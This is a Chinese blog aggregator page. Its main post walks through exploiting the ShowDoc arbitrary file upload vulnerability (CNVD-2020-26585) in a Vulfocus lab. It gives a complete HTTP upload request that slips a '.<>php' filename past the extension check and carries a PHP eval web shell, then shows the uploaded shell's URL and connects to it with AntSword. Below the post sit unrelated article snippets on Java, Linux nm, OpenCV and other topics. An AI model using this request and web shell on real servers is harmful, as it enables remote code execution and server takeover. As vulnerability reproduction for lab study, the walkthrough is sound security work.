当前位置：首页 > news >正文

showdoc 文件上传（cnvd-2020-26585）

news 2026/2/9 3:49:25

showdoc 文件上传（cnvd-2020-26585）

描述

ShowDoc是一个非常适合IT团队的在线API文档、技术文档工具。通过showdoc，你可以方便地使用markdown语法来书写出美观的API文档、数据字典文档、技术文档、在线excel文档等等。 api_page存在任意文件上传.

复现环境

VULFOCUS

复现过程

进入页面

刷新，抓包

将全部报文替换，更改 host，放包

POST /index.php?s=/home/page/uploadImg HTTP/1.1
Host: 10.9.47.6:33974
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Content-Length: 265----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain<?php echo '123_test';@eval($_POST[cmd])?>
----------------------------921378126371623762173617--

显示文件位置

http://10.9.47.6:33974/Public/Uploads/2023-10-27/653ba623bb98c.php

成功上传

蚁剑连接

showdoc 文件上传（cnvd-2020-26585）

showdoc 文件上传 （cnvd-2020-26585） 描述 ShowDoc是一个非常适合IT团队的在线API文档、技术文档工具。通过showdoc，你可以方便地使用markdown语法来书写出美观的API文档、数据字典文档、技术文档、在线excel文档等等。 api_page存在任意文…...

编程日记 2023/10/27 13:26:58

Java数据类型，变量与运算符

1.字面常量常量是在程序运行期间，固定不变的量称为常量。 public class HelloWorld{public static void main(String[] args){System.out.println("Hello,world");} } 在以上程序中，输出的Hello Word，其中的“Hello Word”就是…...

编程日记 2023/10/27 13:25:56

Linux nm命令

Linux的nm命令主要用于列出对象文件中的符号。以下是一些使用示例： 基本用法：只需运行’nm’命令，并将对象文件的名称作为输入传递给它。例如，我使用’nm’命令与’apl’elf 文件：nm apl。在输出中为每个符号前面添加…...

编程日记 2023/10/27 13:23:54

iOS发布证书.p12文件无密码解决办法及导出带密码的新.p12文件方法

摘要： 本文将以iOS技术博主身份，分享解决使用无密码的.p12文件发布应用时遇到的问题，并介绍如何以带密码的方式重新导出.p12文件的方法。通过本文提供的步骤，开发者可以顺利完成证书的发布流程。引言在iOS应用发布过程中&…...

编程日记 2023/10/27 13:21:52

OpenCamera拍照的代码流程

按理来说，拍照应该是很简单的。随着功能的复杂，代码也是越来越多，流程越来越长。想看看地理位置是怎么保存的，于是就研究了一下OpenCamera的拍照流程。在回调时有点乱。 MainActivity clickedTakePhoto() takePicture() takePic…...

编程日记 2023/10/27 13:20:51

华为OD机考算法题：矩阵最大值

题目部分题目矩阵最大值难度难题目说明给定一个仅包含 0 和 1 的 N*N 二维矩阵，请计算二维矩阵的最大值，计算规则如下： 1. 每行元素按下标顺序组成一个二进制数（下标越大越排在低位），二进制数的值就是该行…...

编程日记 2023/10/27 13:19:50

【Javascript】函数之形参与实参

function c(a,b){return ab;}var sumc(3,4);console.log(sum);a,b为形参 3,4为实参形参和实参是⼀⼀对应的数量可以不对应参数的类型不确定函数可以设置默认参数实参可以是字⾯量也可以是变量...

编程日记 2023/10/27 13:17:48

PAT 乙级1090危险品装箱

题目： 集装箱运输货物时，我们必须特别小心，不能把不相容的货物装在一只箱子里。比如氧化剂绝对不能跟易燃液体同箱，否则很容易造成爆炸。本题给定一张不相容物品的清单，需要你检查每一张集装箱货品清单，…...

编程日记 2023/10/27 13:16:46

Response Header中不暴露Server(IIS)版本、ASP.NET及相关版本等信息

ASP MVC开发的Web默认情况下会在请求的回应中暴露Server、X-AspNet-Version、X-AspNetMvc-Version、X-Powered-By等相关服务端信息，公开这些敏感信息会存在一定的安全风险。 X-SourceFiles标头用于被IIS / IIS Express中某些调试模块理解，它包含到磁盘上…...

编程日记 2023/10/27 13:15:45

测试C#调用Vlc.DotNet组件播放视频

除了Windows Media Player组件，在百度上搜索到还有不少文章介绍采用Vlc.DotNet组件播放视频，关于Vlc.DotNet的详细介绍见参考文献1，本文学习Vlc.DotNet的基本用法。 VS2022中新建基于.net core的winform程序，在Nuget包管理器中…...

编程日记 2023/10/27 13:13:43

JS的事件委托（Event Delegation）

✨ 事件委托（Event Delegation）及其优势和缺点 🎃 什么是事件委托事件委托是一种在JavaScript中处理事件的技术。它利用了事件的冒泡机制，将事件处理程序绑定到它们的共同祖先元素上，而不是直接绑定到每个子元素上。…...

编程日记 2023/10/27 13:12:42

selenium+python自动化安装驱动碰到的问题

刚开始使用谷歌驱动，我的谷歌浏览器版本是最新版下载驱动地址，访问不了。 Chrome for Testing availability只能使用火狐驱动，我这里的火狐版本也是最新版119.0 查找全网找到驱动geckodriver下载地址 https://mirrors.huaweicloud.com/ge…...

编程日记 2023/10/27 13:11:41

laravel+vue2 element 一套项目级医院手术麻醉信息系统源码

手术麻醉临床信息系统源码，PHPmysqllaravelvue2 手术麻醉临床信息系统，采用计算机和通信技术，实现监护仪、麻醉机、输液泵等设备输出数据的自动采集，采集的数据能够如实准确地反映患者生命体征参数的变化，并实现信息高…...

编程日记 2023/10/27 13:10:40

GEE——使用MODIS GPP和LAI数据进行一元线性回归计算和R2分析

使用两种方法计算一元线性回归，一种使用GEE本身自带的函数，另一种使用自己编写代码的方式进行，对比两者结果的差异。简介一元线性趋势分析是指利用一元线性回归模型来分析一组数据的趋势性。在一元线性回归模型中，我们假设自变量（x）和因变量（y）之间存在一定的线性关…...

编程日记 2023/10/27 13:09:39

[论文阅读]Point Density-Aware Voxels for LiDAR 3D Object Detection（PDV）

PDV Point Density-Aware Voxels for LiDAR 3D Object Detection 论文网址：PDV 论文代码：PDV 简读论文摘要 LiDAR 已成为自动驾驶中主要的 3D 目标检测传感器之一。然而，激光雷达的发散点模式随着距离的增加而导致采样点云不均匀&#x…...

编程日记 2023/10/27 13:08:39

自动化学报格式 Overleaf 在线使用【2023最新教程】

自动化学报格式 Overleaf 在线使用摘要 2023年10月26日19:28:17（云南昆明） 今天课程老师要我们期末提交一篇论文，以自动化学报格式提交。因此，去官网发现只有 latex 格式，下载下来发现各种格式不兼容；由于…...

编程日记 2023/10/27 13:07:38

掌握CSS动画技巧：打造引人注目的页面过渡效果！

🎬 江城开朗的豌豆：个人主页 🔥 个人专栏 :《 VUE 》《 javaScript 》 📝 个人网站 :《江城开朗的豌豆🫛 》 ⛺️ 生活的理想，就是为了理想的生活 ! 目录 ⭐ 专栏简介 📘 文章引言一…...

编程日记 2023/10/27 13:06:37

薛定谔的猫重出江湖？法国初创公司AliceBob研发猫态量子比特

总部位于巴黎的初创公司Alice&Bob使用超导芯片的两个相反的量子态（他们称之为“猫态量子比特”芯片）来帮助开发量子计算的不同自旋方式。（图片来源：网络） 有的人认为，构建量子计算机的模块模仿了著名的…...

编程日记 2023/10/27 13:03:34

18亿欧元大动作，法国瞄准实现量子飞跃

Quobly 正在开发一种容错量子处理器（图片来源：网络） 2021年1月，马克龙总统宣布了法国国家量子计算计划，并将为该技术投入高达18亿欧元。 “量子战略至关重要，”马克龙在量子研究中心巴黎萨克雷大学宣布该…...

编程日记 2023/10/27 13:02:33

写保护设置——三、I2C EEPROM

三、I2C EEPROM I2C通讯的EEPROM只有硬保护，没有软保护。以AT24C01A/02/04/16型EEPROM和AT24C02A/04A/08A/16A型EEPROM为例，管脚定义和写保护WP功能分别如下。 （1）AT24C01A/02/04/16型EEPROM 规格书： AT24C01A/02…...

编程日记 2023/10/27 13:01:32

将对透视变换后的图像使用Otsu进行阈值化，来分离黑色和白色像素。这句话中的Otsu是什么意思？

Otsu 是一种自动阈值化方法，用于将图像分割为前景和背景。它通过最小化图像的类内方差或等价地最大化类间方差来选择最佳阈值。这种方法特别适用于图像的二值化处理，能够自动确定一个阈值，将图像中的像素分为黑色和白色两类。 Otsu 方法的原…...

编程新知 2026/1/9 19:36:58

【算法训练营Day07】字符串part1

文章目录反转字符串反转字符串II替换数字反转字符串题目链接：344. 反转字符串双指针法，两个指针的元素直接调转即可 class Solution {public void reverseString(char[] s) {int head 0;int end s.length - 1;while(head < end) {char temp …...

编程新知 2025/8/27 14:38:58

【Go】3、Go语言进阶与依赖管理

前言本系列文章参考自稀土掘金上的【字节内部课】公开课，做自我学习总结整理。 Go语言并发编程 Go语言原生支持并发编程，它的核心机制是 Goroutine 协程、Channel 通道，并基于CSP（Communicating Sequential Processes&#xff0…...

编程新知 2025/10/7 0:32:40

高危文件识别的常用算法：原理、应用与企业场景

高危文件识别的常用算法：原理、应用与企业场景高危文件识别旨在检测可能导致安全威胁的文件，如包含恶意代码、敏感数据或欺诈内容的文档，在企业协同办公环境中（如Teams、Google Workspace）尤为重要。结合大模型技术&…...

编程新知 2026/2/8 10:51:42

OPenCV CUDA模块图像处理-----对图像执行均值漂移滤波（Mean Shift Filtering）函数meanShiftFiltering()

操作系统：ubuntu22.04 OpenCV版本：OpenCV4.9 IDE:Visual Studio Code 编程语言：C11 算法描述在 GPU 上对图像执行均值漂移滤波（Mean Shift Filtering），用于图像分割或平滑处理。该函数将输入图像中的…...

编程新知 2026/1/20 12:53:30

AI书签管理工具开发全记录（十九）：嵌入资源处理

1.前言 📝 在上一篇文章中，我们完成了书签的导入导出功能。本篇文章我们研究如何处理嵌入资源，方便后续将资源打包到一个可执行文件中。 2.embed介绍 🎯 Go 1.16 引入了革命性的 embed 包，彻底改变了静态资源管理的…...

编程新知 2026/1/30 16:24:23

JVM虚拟机：内存结构、垃圾回收、性能优化

1、JVM虚拟机的简介 Java 虚拟机（Java Virtual Machine 简称：JVM）是运行所有 Java 程序的抽象计算机，是 Java 语言的运行环境，实现了 Java 程序的跨平台特性。JVM 屏蔽了与具体操作系统平台相关的信息，使得 Java 程序只需生成在 JVM 上运行的目标代码（字节码），就可以…...

编程新知 2026/2/7 0:37:40